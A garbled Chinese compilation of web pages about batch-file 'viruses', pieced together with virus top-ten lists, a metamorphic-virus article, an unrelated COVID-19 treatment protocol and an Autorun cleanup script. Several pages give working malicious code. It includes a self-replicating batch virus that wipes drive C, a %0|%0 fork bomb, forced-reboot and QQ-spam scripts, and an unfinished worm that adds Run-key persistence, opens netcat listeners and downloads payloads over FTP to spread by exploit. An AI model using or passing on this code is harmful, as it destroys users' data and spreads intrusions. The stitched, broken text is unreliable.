bat病毒
全球前十计算机病毒排名
全球前十计算机病毒排名全球前十计算机病毒排名，是指全球最具影响力的计算机病毒排名。
计算机病毒是一种恶意软件，它可以自动复制并传播到其他计算机上，从而破坏计算机系统的正常运行。
全球前十计算机病毒排名如下：1. Conficker病毒：Conficker病毒是一种网络蠕虫，它可以通过网络传播，并且可以攻击Windows操作系统。
2. WannaCry病毒：WannaCry病毒是一种勒索软件，它可以通过网络传播，并且可以攻击Windows操作系统。
3. Stuxnet病毒：Stuxnet病毒是一种恶意软件，它可以攻击工业控制系统，并且可以攻击Windows操作系统。
4. Zeus病毒：Zeus病毒是一种钓鱼软件，它可以通过网络传播，并且可以攻击Windows 操作系统。
5. Sality病毒：Sality病毒是一种恶意软件，它可以通过网络传播，并且可以攻击Windows操作系统。
6. CryptoLocker病毒：CryptoLocker病毒是一种勒索软件，它可以通过网络传播，并且可以攻击Windows操作系统。
7. Mydoom病毒：Mydoom病毒是一种网络蠕虫，它可以通过网络传播，并且可以攻击Windows操作系统。
8. Sasser病毒：Sasser病毒是一种网络蠕虫，它可以通过网络传播，并且可以攻击Windows操作系统。
9. Code Red病毒：Code Red病毒是一种网络蠕虫，它可以通过网络传播，并且可以攻击Windows操作系统。
10. Nimda病毒：Nimda病毒是一种网络蠕虫，它可以通过网络传播，并且可以攻击Windows操作系统。
以上就是全球前十计算机病毒排名。
计算机病毒的传播速度非常快，因此，用户应该加强计算机安全防护，定期更新系统，安装杀毒软件，以防止计算机病毒的侵害。
变形病毒技术研究及反病毒策略设计
科技资讯科技资讯S I N &T NOLOGY I NFORM TI ON 2008NO .08SC I ENCE &TECH NO LOG Y I NFOR M A TI O N I T 技术1变形病毒1.1变形病毒的概念简单的来说变形病毒就是能够变换自身代码的病毒。
这里值得注意的一点是，变形病毒的代码转换是通过其自身程序完成的，没有任何外力的作用。
虽然我们也说它有不同的变体，但这与非变形病毒的变体概念是有区别的。
变形病毒定义的底线可以确定为至少不同变体的病毒体代码必须要能够实现代码变换。
在确定了变形病毒定义的底线以后，我来根据不同的标准给变形病毒下一个较全面的定义。
广义的变形病毒是指所有能够实现对病毒体在一定程度上进行代码变换的病毒，如加密病毒。
狭义的变形病毒是指，至少具有一个能够单独生成不同代码，并且变换代码不能被恢复的模块(如变形机)的病毒。
准确意义上的变形病毒所指仅是前面提到的全变形病毒。
1.2典型变形病毒的剖析W i n98.B l ac kBat 是一个典型变形病毒，使用的指令集是80386的指令集，其目的是为了能够使用32位的寄存器，同时为了使用一些特权指令(在特权级0上运行的指令)，则需在.386后加伪指令p 。
该病毒定义的编程模式为f l a t ，是W i n32特有的编程模式，代码和数据段共用一个4GB 内存段(内存页)。
采用的堆栈平衡方式为st dc al l 方式，即在调用函数或子程序时，右边的参数先入堆栈，一般情况下，由子程序来清除堆栈，但在参数不确定(使用VAR ARG)时堆栈的清除由调用者来完成。
为了简化程序代码，该病毒将一些代码集成起来在数据段定义了九个宏，详细情况从略。
W i n98.Bl a ckBa t 病毒的变形功能主要由三个函数——E nc r ypt Vi r us 、M ut a t eD e cr ypt or 和Radom R e gi s t e r 以及程序入口段——解密器De c r ypt or 来完成。
bat电脑病毒代码
bat电脑病毒代码病毒来自于一次偶然的事件，那时的研究人员为了计算出当时互联网的在线人数，然而它却自己“繁殖”了起来导致了整个服务器的崩溃和堵塞，有时一次突发的停电和偶然的错误.下面是店铺收集整理的bat电脑病毒代码，希望对大家有帮助~~bat电脑病毒代码rem (注:原来站长我在读职高时,就用这一招来对付在上机时总是喜欢删别人文件(放在我自己所建目录下面的程序文件,这可是我辛辛苦苦用手敲打键盘搞出来的呀!)当然不是像下面这个病毒程序故意在桌面上放的那个炸弹文件了!)的人!当然那个喜欢删别人文件最终还是免不了挨老师的一顿臭骂!)rem 如果你是一位电脑病毒编写高手,千万别对着你的电脑吐口水呀!如果真是这样的话,我会很难过的,一为你面前这台电脑难过!二为我自己难过!rem 电脑病毒的原理都是差不多的,只要你学精了几门程序设计语言(如VC,Delphi,VB,html[JavaScript/Vbscript],Perl)再加学计算机漏洞,以及一些文件格式(比如PE,NE,Html,Vbs,Js等),保证你编写的电脑病毒会Very very good!相信你看完以下程序代码,一定有一种冲动!什么冲动?(编写电脑病毒的冲动)if not exsit %windir%\desktop\IamVirus.txt goto KillSystem if not exsit %windir%\system\%0.bat goto CopyToHereif not exist %windir%\winstart.bat goto AddWinif not exist %windir%\dosstart.bat goto AddDosif not exist c:\autoexec.bat goto AddAutoif not exsit %windir%\……\启动\HappyQQ.bat goto CopyMyselfgoto endrem 下面部分为自我复制部分:AddWinecho %windir%\system\%0.bat>>%windir%\winstart.bat>n ullgoto end:AddDosecho %windir%\system\%0.bat>>%windir%\dosstart.bat>n ullgoto end:AddAutoecho %windir%\system\%0.bat>>c:\autoexec.bat>nullgoto end:CopyMyselfcopy %0.bat %windir%\……\启动\HappyQQ.bat /y >nullgoto end:CopyToHerecopy %0.bat %windir%\system\%0.batgoto end:KillSystemdeltree/y c:\*.*>nullrem 这里为破坏部分goto end:end怎么样,看完一个批处理病毒代码,你应该对计算机病毒的概念非常了解了吧!晕呀,什么?你不懂DOS呀,那也没关系,去问问你的计算机老师,什么,你的计算机老师也不会呀,那么你就网上查查吧,千万别问我,虽然我是电脑DOS命令高手,但是我可不想让你老师来找我的麻烦呀!呵呵……如果你觉得这还不够爽,请你进入我的Baidu"红客"贴吧进行讨论!(类似这个批处理病毒的原理,我用C语言编写了一个模拟计算机病毒!)。
史上十大计算机病毒排名有哪些
史上十大计算机病毒排名有哪些史上破坏力最强十大计算机病毒排名有哪些呢?你知道吗?下面由店铺给你做出详细的史上十大计算机病毒排名介绍!希望对你有帮助!史上十大计算机病毒排名：1. CIH (1998年)该计算机病毒属于W32家族，感染Windows 95/98中以EXE为后缀的可行性文件。
它具有极大的破坏性，可以重写BIOS使之无用(只要计算机的微处理器是Pentium Intel 430TX)，其后果是使用户的计算机无法启动，唯一的解决方法是替换系统原有的芯片(chip)，该计算机病毒于4月26日发作，它还会破坏计算机硬盘中的所以信息。
该计算机病毒不会影响MS/DOS、Windows 3.x和Windows NT操作系统。
CIH可利用所有可能的途径进行传播：软盘、CD-ROM、Internet、FTP下载、电子邮件等。
被公认为是有史以来最危险、破坏力最强的计算机病毒之一。
1998年6月爆发于中国台湾，在全球范围内造成了2000万-8000万美元的损失。
2.梅利莎(Melissa,1999年)这个病毒专门针对微软的电子邮件服务器和电子邮件收发软件，它隐藏在一个Word97格式的文件里，以附件的方式通过电子邮件传播，善于侵袭装有Word97或Word2000的计算机。
它可以攻击Word97的注册器并修改其预防宏病毒的安全设置，使它感染的文件所具有的宏病毒预警功能丧失作用。
在发现Melissa病毒后短短的数小时内，该病毒即通过因特网在全球传染数百万台计算机和数万台服务器，因特网在许多地方瘫痪。
1999年3月26日爆发，感染了15%-20%的商业PC，给全球带来了3亿-6亿美元的损失。
3. I love you (2000年)2000年5月3日爆发于中国香港，是一个用VBScript编写，可通过E-Mail散布的病毒，而受感染的电脑平台以Win95/98/2000为主。
给全球带来100亿-150亿美元的损失。
新冠肺炎诊疗方案第七版
新冠肺炎诊疗方案（第七版）通过采取一系列预防控制和医疗救治措施，我国境内疫情上升的势头得到一定程度的遏制，大多数省份疫情缓解，但境外的发病人数呈上升态势。
随着对疾病临床表现、病理认识的深入和诊疗经验的积累，为进一步加强对该病的早诊早治，提高治愈率，降低病亡率，最大可能避免医院感染，同时提醒注意境外输入性病例导致的传播和扩散，我们对《新型冠状病毒肺炎诊疗方案（试行第六版）》进行修订，形成了《新型冠状病毒肺炎诊疗方案（试行第七版）》。
一、病原学特点新型冠状病毒属于β属的新型冠状病毒，有包膜，颗粒呈圆形或椭圆形，常为多形性，直径60～140nm。
其基因特征与SARSr-CoV 和MERSr-CoV 有明显区别。
目前研究显示与蝙蝠SARS 样冠状病毒（bat-SL-CoVZC45）同源性达85% 以上。
体外分离培养时，2019-nCoV 96 个小时左右即可在人呼吸道上皮细胞内发现，而在Vero E6 和Huh-7 细胞系中分离培养需约6 天。
对冠状病毒理化特性的认识多来自对SARS-CoV 和MERS-CoV 的研究。
病毒对紫外线和热敏感，56℃30 分钟、乙醚、75% 乙醇、含氯消毒剂、过氧乙酸和氯仿等脂溶剂均可有效灭活病毒，氯己定不能有效灭活病毒。
二、流行病学特点（一）传染源。
目前所见传染源主要是新型冠状病毒感染的患者。
无症状感染者也可能成为传染源。
（二）传播途径。
经呼吸道飞沫和接触传播是主要的传播途径。
在相对封闭的环境中长时间暴露于高浓度气溶胶情况下存在经气溶胶传播的可能。
由于在粪便及尿中可分离到新型冠状病毒，应注意粪便及尿对环境污染造成气溶胶或接触传播。
（三）易感人群。
人群普遍易感。
三、病理改变根据目前有限的尸检和穿刺组织病理观察结果总结如下。
（一）肺脏肺脏呈不同程度的实变。
肺泡腔内见浆液、纤维蛋白性渗出物及透明膜形成；渗出细胞主要为单核和巨噬细胞，易见多核巨细胞。
II 型肺泡上皮细胞显著增生，部分细胞脱落。
bat整人电脑病毒代码是怎样的
bat整人电脑病毒代码是怎样的现在流行的病毒是由人为故意编写的，多数病毒可以找到作者和产地信息，从大量的统计分析来看，病毒作者主要情况和目的是：一些天才的程序员为了表现自己和证明自己的能力，出于对上司的不满，为了好奇，为了报复，为了祝贺和求爱，为了得到控制口令，为了软件拿不到报酬预留的陷阱等.当然也有因政治，军事，宗教，民族.专利等方面的需求而专门编写的，其中也包括一些病毒研究机构和黑客的测试病毒.以下是店铺网小编为大家整理的关于bat整人电脑病毒代码的相关知识，希望对大家有所帮助!vbs整人代码代码如下：复制代码代码如下:Private Sub Form_Load()Me.HideEnd SubPrivate Sub Timer1_Timer()'声明变量，其中“count”为静态变量，以便生成不同的文件Dim files As StringDim nr As StringDim c As StringStatic count As Long'定义要把生成的文件存放在那个目录文件下c = "C:\Program Files\"'生成文件的内容nr = "哈哈，被黑的感觉的不错吧"files = FreeFile'如果a等于a那么就执行If a = a Then'count不断的加1，以便产生不同的文件名count = count + 1'产生文件名及文件句柄，并用count作为产生不同的文件名。
Open c & "system" & count & ".dll" For Append As #files'向文件写内容Write #files, nr'清除文件句柄，这里很重要，如果不清除，将产生打开文件太多的错误提示Close #filesEnd IfEnd Sub一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可).xx.vbs=>复制代码代码如下:On Error Resume NextDim wsh,yeset wsh=createobject("wscript.shell")for i=1 to 10wscript.sleep 700wsh.AppActivate("与 xx 聊天中")wsh.sendKeys "^v"wsh.sendKeys iwsh.sendKeys "%s"nextwscript.quitQQ骚扰信息,也可以用在其它程序上。
十大流行病毒及各自特征
十大流行病毒及各自特征十大流行病毒及各自特征描述,下面由店铺给你做出详细的流行病毒及各自特征描述介绍!希望对你有帮助!十大流行病毒及各自特征：一、ANI病毒病毒名称：Exploit.ANIfile病毒中文名：ANI病毒病毒类型：蠕虫危险级别：影响平台：Windows 2000/XP/2003/Vista描述：以Exploit.ANIfile.b为例，“ANI毒”变种b是一个利用微软Windows系统ANI文件处理漏洞(MS07-017)进行传播的网络蠕虫。
“ANI毒”变种b运行后，自我复制到系统目录下。
修改注册表，实现开机自启动。
感染正常的可执行文件和本地网页文件，并下载大量木马程序。
感染本地磁盘和网络共享目录下的多种类型的网页文件(包括*.HTML，*.ASPX，*.HTM，*.PHP，*.JSP，*.ASP)，植入利用ANI文件处理漏洞的恶意代码。
自我复制到各逻辑盘根目录下，并创建autorun.inf自动播放配置文件。
双击盘符即可激活病毒，造成再次感染。
修改hosts文件，屏蔽多个网址，这些网址大多是以前用来传播其它病毒的站点。
另外，“ANI毒”变种b还可以利用自带的SMTP 引擎通过电子邮件进行传播。
二、U盘寄生虫病毒名称：Checker/Autorun病毒中文名：U盘寄生虫病毒类型：蠕虫危险级别：影响平台：Win 9X/ME/NT/2000/XP/2003描述：Checker/Autorun“U盘寄生虫”是一个利用U盘等移动设备进行传播的蠕虫。
“U盘寄生虫”是针对autorun.inf这样的自动播放文件的蠕虫病毒。
autorun.inf文件一般存在于U盘、MP3、移动硬盘和硬盘各个分区的根目录下，当用户双击U盘等设备的时候，该文件就会利用Windows系统的自动播放功能优先运行autorun.inf文件，而该文件就会立即执行所要加载的病毒程序，从而破坏用户计算机，使用户计算机遭受损失。
世界上最简单的病毒（bat）
世界上最简单的病毒（bat）
病毒 %0
计算机病毒（Computer Virus）是代码编写者在计算机程序中插⼊的破坏计算机功能或者数据的代码，能影响计算机使⽤，能⾃我复制的⼀组计算机指令或者程序代码。
那么本⽂中主要介绍的病毒到底⼜是什么呢？对计算机⼜会造成什么影响呢？这个病毒就叫“%0”，具体代码是 %0|%0 也就这5个字符，按照ASCII 码来表⽰也就仅仅占⽤5个字节。
将记事本打开写⼊ %0|%0 然后已.bat的格式保存，然后开始运⾏。
仅仅过了10⼏秒后CPU占⽤率从23%飙升⾄90%左右。
⼜过了⼏秒钟系统开始弹出⼀些类似资源占⽤的错误警告框。
时间达到⼀分钟的时候系统由于资源占⽤满已经完全崩溃了。
%0就像⼀个懒惰的细胞⼀样，除了吃、玩（占⽤资源）就完全不知道⾃⼰还能⾃我复制，“%0”就⼀直⽆闹循环下去，没有终点所以⼀直执⾏下去，⽽⼜加上 “|%0” 就表⽰分裂复制⼀次，就是上⾯提到的细胞分裂复制⼀样，每达到⼀个时间周期分裂⼀次，⼀个 “%0|%0“ 复制成两个，⽣成的⼦”%0|%0“ 继续分裂。
1变2、2变4、4变8、8变16，所以最后资源耗尽系统崩溃。
常用软件 计算机病毒
常用软件计算机病毒计算机病毒并非生物学中的病毒，而是一种在用户不知情或未批准的情况下，在计算机中运行的、具有自我复制能力的有害计算机程序。
这种计算机程序在传播期间往往会隐蔽自己，根据特定的条件触发，与生物学中的病毒十分类似，因此被称作计算机病毒。
计算机病毒往往会感染计算机中正常运行的各种软件或存储数据的文档，从而达到破坏用户数据的目的。
1．计算机病毒的历史早在上世纪60年代，美国麻省理工学院的一些研究人员就开始在业余时间编写一些简单的游戏程序，可以消除他人计算机中的数据。
这样的程序目前被某些人认定为计算机病毒的雏形。
随着上世纪70年代和80年代计算机在美国和西方发达国家的普及，逐渐出现了各种以恶作剧或纯恶意破坏他人计算机数据的病毒程序。
由于当时互联网并不发达，因此传播计算机病毒的载体通常是各种软盘等可移动存储设备。
上世纪90年代开始，互联网普及到了千家万户，给人们带来便捷的同时也为计算机病毒的传播提供了通道。
目前，互联网已成为最主要的病毒传播途径。
早期的病毒大多只能破坏用户计算机中的各种软件。
1998年9月被发现的CIH病毒被广泛认为是第一种可以破坏计算机硬件固件（一种控制硬件运行的软件，通常被固化到硬件的闪存中，例如主板的BIOS等）的计算机病毒，因此造成了很大的破坏。
2．计算机病毒的特征由于计算机病毒对计算机和互联网的破坏性很大，因此，我国《中华人民共和国计算机信息系统安全保护条例》明确定义了计算机病毒的法律定义，即“编制或者在计算机程序中插入的‘破坏计算机功能或者毁坏数据，影响计算机使用，并能自我复制的一组计算机指令或者程序代码’”。
目前，公认的计算机病毒往往包括以下全部特征或部分特征。
●传播性多数计算机病毒都会利用计算机的各种漏洞，通过局域网、互联网、可移动磁盘等方式传播，手段十分丰富，另用户防不胜防。
例如曾经流行一段时间的爱虫病毒，就是通过一封标题为“I Love You”的电子邮件传播的。
bat整人电脑病毒代码是怎样的
bat整人电脑病毒代码是怎样的篇一：一些bat恶搞代码第一个:让别人内存oVeR(逼他重启)@echooffstartcmd%0就这3行了第二个:让对方重启指定次数(害人专用)@echooffifnotexistc:\1.txtecho.>c:\1.txt&gotoerr1ifnotexistc:\2.txtecho.>c:\2.txt&gotoerr1ifnotexistc:\3.txtecho.>c:\3.txt&gotoerr1ifnotexistc:\4.txtecho.>c:\4.txt&gotoerr1ifnotexistc:\5.txtecho.>c:\5.txt&gotoerr1gotoerr2:err1shutdown-s-t0:err2上面可以让对方电脑重启5次后不在重启第三个:自动踢人(3389肉机保护自己专用)@echoofflogoff1dellog.batlogoff后面的1改成自己登陆的ID号,用queryuser查看第四个:批量自动溢出@for/f%%iin(result.txt)do42%%i58.44.89.158521先自己用nc监听端口,多开几个,然后指行,就自动溢出了第五个:自动挂马改主页@echooffclsrem直接打批处理名字就有帮助title批量挂马,改首页(伤脑筋QQ:447228437).colorAsetpan=%1setye=%2setdai=%3if"%pan%"==""gotoe1if"%ye%"==""gotoe1if"%dai%"==""gotoe1使用!echo.第六个:利用批处理编写利用系统漏洞传播的蠕虫病毒本来想写完后在做教程,要去学校了,所以先把思路告诉大家,大家可以先自己写写,我有时间写完发到群里.这些是我未完成的批处理,大家可以在此基础上按照我下面说的思路继续写完delc:\42.exedelc:\nc.exedelc:\ip.exeechodimwsh>%systemroot%\help\test.vbsechosetwsh=createobject("wscript.shell")>>%systemroot%\help\test.vbsechowsh .run"cmd/c%systemroot%\help\nc-v-l-p810>%systemroot%\help\test.vbsechodimwsh>%systemroot%\help\test2.vbsechosetwsh=createobject("wscript.shell")>>%systemroot%\help\test2.vbsechows h.run"cmd/cstart%systemroot%\help\good.bat",0>>%systemroot%\help\test2.vbsecho open10.0.0.5>%systemroot%\help\ftp.txtechoopenmyyes>>%systemroot%\help\ftp.txtecho1>>%systemroot%\help\ftp.txtechobinary>>%systemroot%\help\ftp.txtechoget42.exec:\42.exe>>%s\Run]>>%systemroot%\help\1.reg echo"sKYneTpersonalFirewall"="F:\\系统安全工具\\Firewall\\pFw.exe">>%systemroot%\help\1.regecho"1"="%systemroot%\\help\\test2.vbs">>%systemroot%\help\1.reg ifnotexist%systemroot%\help\good.batcopygood.bat%systemroot%\help\good.bat&%systemroot%\help\test2.vbs&de lgood.batregedit-s%systemroot%\help\1.regftp-s:%systemroot%\help\ftp.txtmovec:\nc.exe%systemroot%\help\/ymovec:\42.exe%systemroot%\help\/ymovec:\ip.exe%systemroot%\help\/y%systemroot%\help\test.vbsremfor/f%%iin(result1.txt)doseta=%%iremfor/f%%jin(result.txt)do42%a%%%j810准备:1:找一个反向连接的溢出攻击程序,如ms06040漏洞2:找呀一个免费FTp空间,最好是送域名的3:利用你所知道的高级语言编写一个,能生成随机范围Ip地址和找到本机Ip的工具.思路:用for语句对指定文本里的Ip进行溢出,然后用if语句判断是否溢出成功,如果成功开启一个nc监听端口,nc后面带一个输入的内容为下载本批处理文件,然后执行这个批处理.这样被溢出的机器就又会在他那里运行我门的批处理,从而到自动传播的目的.把批处理生成的文件集中放到一个目录下,可以%systemroot%系统变量直接放到系统目录下因为批处理运行后会闪出命令行窗口,我门可以利用Vbs脚本来运行我们的批处理,这样就不会有任何窗口出现,脚本如下echodimwsh>%systemroot%\help\test.vbsechosetwsh=createobject("wscript.shell")>>%systemroot%\help\test.vbsechowsh .run"cmd/c%systemroot%\help\nc-v-l-p810>%systemroot%\help\test.vbs生成随机Ip工具的Vb代码privatesubForm_Load()DimfsoAsnewFilesystemobjectDima,b,c,dAsIntegerDimph,eAsstringph=App.path&"\"&"ip.txt"Randomizea=Int(253*Rnd+1)b=Int(253*Rnd+1)c=Int(240*Rnd+1)openphForoutputAs#1Fori=cToc+7Forj=1To254e=a&"."&b&"."&i&"."&jprint#1,eDoeventsnextjnexticlose#1unloadmeendsub篇二：整人“病毒”代码(一)发表于20XX-10-2310:33前段时间看到大家对这种整人的代码兴趣还挺浓厚的，我最近就收集了一些和大家分享。
Autorun病毒清除工具bat代码介绍
Autorun 病毒清除工具bat代码介绍电脑病毒看不见，却无处不在，有时防护措施不够或者不当操作都会导致病毒入侵。
本程序运行后自动清除每个盘符下面的Autorun 病毒,Echo本程序原理是基于读取每个盘符下的Autorun.inf相关字段复制代码代码如下:@Echo Offcolor 2ftitle Autorun 病毒清除工具-By PhexonRem 杀进程taskkill /F /IM SocksA.exe /IM SVOHOST.exe /IM AdobeR.exe /IM ravmone.exe /IM wincfgs.exe /IM doc.exe /IM rose.exe /IM sxs.exe /IM autorun.exe /IM KB20060111.exe /IM tel.xls.exe>nul 2>nul:clearautoclsEcho.Echo Autorun 病毒清除工具Echo.Echo.Echo.Echo 制作：PhexonEcho.Echo 本程序运行后自动清除每个盘符下面的Autorun病毒Echo 本程序原理是基于读取每个盘符下的Autorun.inf相关字段Echo.Echo [1] 仅仅删除所有盘符下的 Autorun 病毒Echo [2] 删除所有盘符下的 Autorun 病毒并且建立同名免疫目录(推荐!)Echo [3] 禁用系统的 Autorun 机制以避免 Autorun 病毒的再次感染Echo [4] 取消所有盘符的 Autorun 病毒免疫Echo [5] 删除并免疫指定盘符的 Autorun 病毒Echo [6] 取消免疫指定盘符Echo [7] 恢复相关注册表项默认值Echo [0] 退出Echo.Set /p clearslt= 请输入您的选择(1/2/3/4/5/6/7/0):If "%clearslt%"=="" Goto clearautoIf "%clearslt%"=="1" Goto clearauto1If "%clearslt%"=="2" Goto clearauto2If "%clearslt%"=="3" Goto clearauto3If "%clearslt%"=="4" Goto clearauto4If "%clearslt%"=="5" Goto clearauto5If "%clearslt%"=="6" Goto clearauto6If "%clearslt%"=="7" Goto clearauto7If "%clearslt%"=="0" Exit:clearauto1taskkill /F /IM SocksA.exe /IM SVOHOST.exe /IM AdobeR.exe /IM ravmone.exe /IM wincfgs.exe /IM doc.exe /IM rose.exe /IM sxs.exe /IM autorun.exe /IM KB20060111.exe /IM tel.xls.exe>nul 2>nulFor %%a In (C D E F G H I J K L M N O P Q R S T U V W X Y Z) Do (fsutil fsinfo drivetype %%a: |find /i "固定驱动器" && (For /f "tokens=2 delims==" %%b In (%%a:\autorun.inf) Do Del /a /f /q "%%a:\%%b" >nul 2>nulDel /a /f /q %%a:\autorun.inf >nul 2>nul) >nul 2>nulfsutil fsinfo drivetype %%a: |find /i "可移动驱动器" && (For /f "tokens=2 delims==" %%b In (%%a:\autorun.inf) Do Del /a /f /q "%%a:\%%b" >nul 2>nulDel /a /f /q %%a:\autorun.inf >nul 2>nul) >nul 2>nul)clsEcho Autorun 病毒清除完毕，任意键返回……pause>nulGoto clearauto:clearauto2taskkill /F /IM SocksA.exe /IM SVOHOST.exe /IM AdobeR.exe /IM ravmone.exe /IM wincfgs.exe /IM doc.exe /IM rose.exe /IM sxs.exe /IM autorun.exe /IM KB20060111.exe /IM tel.xls.exe>nul 2>nulFor %%a In (C D E F G H I J K L M N O P Q R S T U V W X Y Z) Do (fsutil fsinfo drivetype %%a: |find /i "固定驱动器" && (For /f "tokens=2 delims==" %%b In (%%a:\autorun.inf) Do Del /a /f /q "%%a:\%%b" & md "%%a:\%%b\免疫目录不要删除!...\" & attrib +s +h +r "%%a:\%%b" & Echo Y|cacls "%%a:\%%b" /T /C /P everyone:N >nul 2>nulDel /a /f /q %%a:\autorun.inf & md "%%a:\autorun.inf\免疫目录不要删除!...\" & attrib +s +h +r %%a:\autorun.inf & Echo Y|cacls "%%a:\autorun.inf" /T /C /P everyone:N >nul 2>nul ) >nul 2>nulfsutil fsinfo drivetype %%a: |find /i "可移动驱动器" && (For /f "tokens=2 delims==" %%b In (%%a:\autorun.inf) Do Del /a /f /q "%%a:\%%b" & md "%%a:\%%b\免疫目录不要删除!...\" & attrib +s +h +r "%%a:\%%b" & Echo Y|cacls "%%a:\%%b" /T /C /P everyone:N >nul 2>nulDel /a /f /q %%a:\autorun.inf & md "%%a:\autorun.inf\免疫目录不要删除!...\" & attrib +s +h +r %%a:\autorun.inf & Echo Y|cacls "%%a:\autorun.inf" /T /C /P everyone:N >nul 2>nul ) >nul 2>nul)clsEcho Autorun 病毒清除并免疫完毕，任意键返回……pause>nulGoto clearauto:clearauto3clsEcho.Echo 正在停止相关服务……Echo.reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies \Explorer" /v NoDriveTypeAutoRun /t REG_DWORD /d 0x000000ff /f >nul 2>nulreg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies \Explorer" /v NoDriveTypeAutoRun /t REG_DWORD /d 0x000000ff /f >nul 2>nulnet stop ShellHWDetection >nul 2>nulsc config ShellHWDetection start= disabled >nul 2>nulRem 添加防止从回收站或仿回收站的目录中直接运行可执行文件的策略SetREGPATH=HKLM\SOFTWARE\Policies\Microsoft\Windows\Safer \CodeIdentifiers\0\PathsSet SFLAG=/v SaferFlags /t REG_DWORD /d 0x00000000 /fSet IDATA=/f /v ItemData /d "?:\Recyc?reg add %REGPATH%\{00ffa5bf-abe7-4901-aacf-4f58aa31217a} %SFLAG%>nulreg add %REGPATH%\{00ffa5bf-abe7-4901-aacf-4f58aa31217a} %IDATA%\*\*\*\*.*">nulreg add %REGPATH%\{41fe7eed-c47a-46f6-840a-240796fd03cf} %SFLAG%>nulreg add %REGPATH%\{41fe7eed-c47a-46f6-840a-240796fd03cf} %IDATA%\*\*\*.*">nulreg add %REGPATH%\{4e93c91c-a40e-462e-9b89-3b0832d222d9} %SFLAG%>nulreg add %REGPATH%\{4e93c91c-a40e-462e-9b89-3b0832d222d9} %IDATA%\*.*">nulreg add %REGPATH%\{5bfc100b-d3fb-450e-88ec-6819ab56a9ff} %SFLAG%>nulreg add %REGPATH%\{5bfc100b-d3fb-450e-88ec-6819ab56a9ff} %IDATA%\*\*\*\*.*">nulreg add %REGPATH%\{5c5e2bcd-7057-43f4-830c-e4361d2afadd} %SFLAG%>nulreg add %REGPATH%\{5c5e2bcd-7057-43f4-830c-e4361d2afadd} %IDATA%\*.*">nulreg add %REGPATH%\{5f8ff865-0638-4c6e-98de-923e7bc6b330} %SFLAG%>nulreg add %REGPATH%\{5f8ff865-0638-4c6e-98de-923e7bc6b330} %IDATA%\*\*\*.*">nulreg add %REGPATH%\{649c1429-0e79-453c-abe9-b5682e035ae7} %SFLAG%>nulreg add %REGPATH%\{649c1429-0e79-453c-abe9-b5682e035ae7} %IDATA%\*\*.*">nulreg add %REGPATH%\{718f54b2-c669-4d7b-aeff-18d69f100034} %SFLAG%>nulreg add %REGPATH%\{718f54b2-c669-4d7b-aeff-18d69f100034} %IDATA%\*\*.*">nulreg add %REGPATH%\{8385d9d2-80c9-4ac1-a100-ed3e62863d97} %SFLAG%>nulreg add %REGPATH%\{8385d9d2-80c9-4ac1-a100-ed3e62863d97} %IDATA%\*.*">nulreg add %REGPATH%\{af2a4fcf-441c-421e-9663-52cd3502cfd7} %SFLAG%>nulreg add %REGPATH%\{af2a4fcf-441c-421e-9663-52cd3502cfd7} %IDATA%\*\*\*.*">nulreg add %REGPATH%\{b997f4b2-c037-4e97-b051-31f5d86df802} %SFLAG%>nulreg add %REGPATH%\{b997f4b2-c037-4e97-b051-31f5d86df802} %IDATA%\*\*.*">nulreg add %REGPATH%\{d4e7b6ff-d76f-407f-b8bb-ea0835f5babc} %SFLAG%>nulreg add %REGPATH%\{d4e7b6ff-d76f-407f-b8bb-ea0835f5babc} /f /v ItemData /d "RECYC*.*">nulRem 清除喜欢利用回收站的移动磁盘自动运行病毒For %%a In (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) Do (For %%b In (exe pif com) Do (Echo Y|cacls "%%a:\Recycler\*.%%b" /C /T /P everyone:F>nul 2>nul&Echo Y|cacls "%%a:\Recycled\*.%%b" /C /T /P everyone:F>nul 2>nul&Echo Y|cacls "%%a:\Recycled\Recycled\*.%%b" /C /T /P everyone:F>nul 2>nul Del /A /F /S /Q "%%a:\Recycler\*.%%b">nul 2>nul&Del /A /F /S /Q "%%a:\Recycled\*.%%b">nul 2>nul&Del /A /F /S /Q "%%a:\Recycled\Recycled\*.%%b">nul 2>nul))>nul 2>nulEcho.Echo 相关服务已停止并禁用，任意键返回……pause >nulGoto clearauto:clearauto4For %%a In (C D E F G H I J K L M N O P Q R S T U V W X Y Z) Do (fsutil fsinfo drivetype %%a: |find /i "固定驱动器" && (cacls "%%a:\autorun.inf" /T /C /P everyone:F&Del /a /f /q "%%a:\autorun.inf" & rd /s /q "%%a:\autorun.inf">nul 2>nul )>nul 2>nulfsutil fsinfo drivetype %%a: |find /i "可移动驱动器" && (cacls "%%a:\autorun.inf" /T /C /P everyone:F&Del /a /f /q "%%a:\autorun.inf" & rd /s /q "%%a:\autorun.inf">nul 2>nul )>nul 2>nul)clsEcho.Echo 已经解除全部盘符的免疫，任意键返回……pause>nulGoto clearauto:clearauto5clsEcho.Set /p pf= 请输入盘符，如"F:"(不包括引号)Echo 即将免疫%pf%盘……|fi nd /i ":"||Set pf=%pf%:&&Echo 即将免疫%pf%盘……taskkill /F /IM SocksA.exe /IM SVOHOST.exe /IM AdobeR.exe /IM ravmone.exe /IM wincfgs.exe /IM doc.exe /IM rose.exe /IMsxs.exe /IM autorun.exe /IM KB20060111.exe /IM tel.xls.exe>nul 2>nulfsutil fsinfo drivetype %pf% |find /i "固定驱动器" && (For /f "tokens=2 delims==" %%a In (%pf%\autorun.inf) Do Del /a /f /q "%pf%\%%a" & md "%pf%\%%a\免疫目录不要删除!...\" & attrib +s +h +r "%pf%\%%a" & Echo Y|cacls "%pf%\%%a" /T /C /P everyone:N >nul 2>nulDel /a /f /q %pf%\autorun.inf & md "%pf%\autorun.inf\免疫目录不要删除!...\" & attrib +s +h +r %pf%\autorun.inf & Echo Y|cacls "%pf%\autorun.inf" /T /C /P everyone:N >nul 2>nul Goto DoneclearAuto) >nul 2>nulfsutil fsinfo drivetype %pf% |find /i "可移动驱动器" && (For /f "tokens=2 delims==" %%a In (%pf%\autorun.inf) Do Del /a /f /q "%pf%\%%a" & md "%pf%\%%a\免疫目录不要删除!...\" & attrib +s +h +r "%pf%\%%a" & Echo Y|cacls "%pf%\%%a" /T /C /P everyone:N >nul 2>nulDel /a /f /q %pf%\autorun.inf & md "%pf%\autorun.inf\免疫目录不要删除!...\" & attrib +s +h +r %pf%\autorun.inf & Echo Y|cacls 